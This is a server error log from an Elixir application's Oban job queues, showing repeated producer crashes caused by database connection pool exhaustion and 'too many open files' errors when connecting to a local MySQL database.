State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:46:46.239612Z], limit: 50, uuid: "a945c0d2-bdeb-4208-97f5-1219896e72ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:46.239618Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30906>, refresh_timer: #Reference<0.2525715032.1077673987.1834>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:59.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:46:46.245015Z], limit: 5, uuid: "3b2fae30-dc0f-4d36-b613-08ae142527af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:46.245111Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.28986>, refresh_timer: #Reference<0.2525715032.1068498948.28985>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:46:46.242553Z], limit: 10, uuid: "d1ef5033-54ea-4284-9610-c39b7384601a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:46.242558Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30904>, refresh_timer: #Reference<0.2525715032.1099431938.30885>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:01.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:02.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:06.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:10.461000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:46:59.240537Z], limit: 5, uuid: "1d315b55-3aa6-4fbd-9e37-fe8e0854f6b7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:59.240542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.1945>, refresh_timer: #Reference<0.2525715032.1077673987.1941>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:46:59.243418Z], limit: 10, uuid: "dc7d271e-7b6a-4cb7-9414-4be5ab41e168", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:59.243424Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29075>, refresh_timer: #Reference<0.2525715032.1068498948.29059>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:46:59.238588Z], limit: 20, uuid: "ef72ae50-69f0-48b0-a09c-87aff3792f87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:59.238598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.1947>, refresh_timer: #Reference<0.2525715032.1068498948.29045>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:46:59.241027Z], limit: 3, uuid: "6a97f56d-3839-4f24-a480-01c36f660ff7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:59.241033Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31298>, refresh_timer: #Reference<0.2525715032.1077673987.1958>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:46:59.242729Z], limit: 50, uuid: "4fa5ec6e-4d68-45b5-be85-45a3459b1318", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:59.242735Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31297>, refresh_timer: #Reference<0.2525715032.1099431938.31278>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:46:59.244371Z], limit: 5, uuid: "f541f156-0939-43b4-b1a6-62199eb92127", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:59.244377Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31299>, refresh_timer: #Reference<0.2525715032.1068498948.29074>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:11.747000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:13.992000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:17.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:18.717000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:19.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:22.363000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:23.023000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

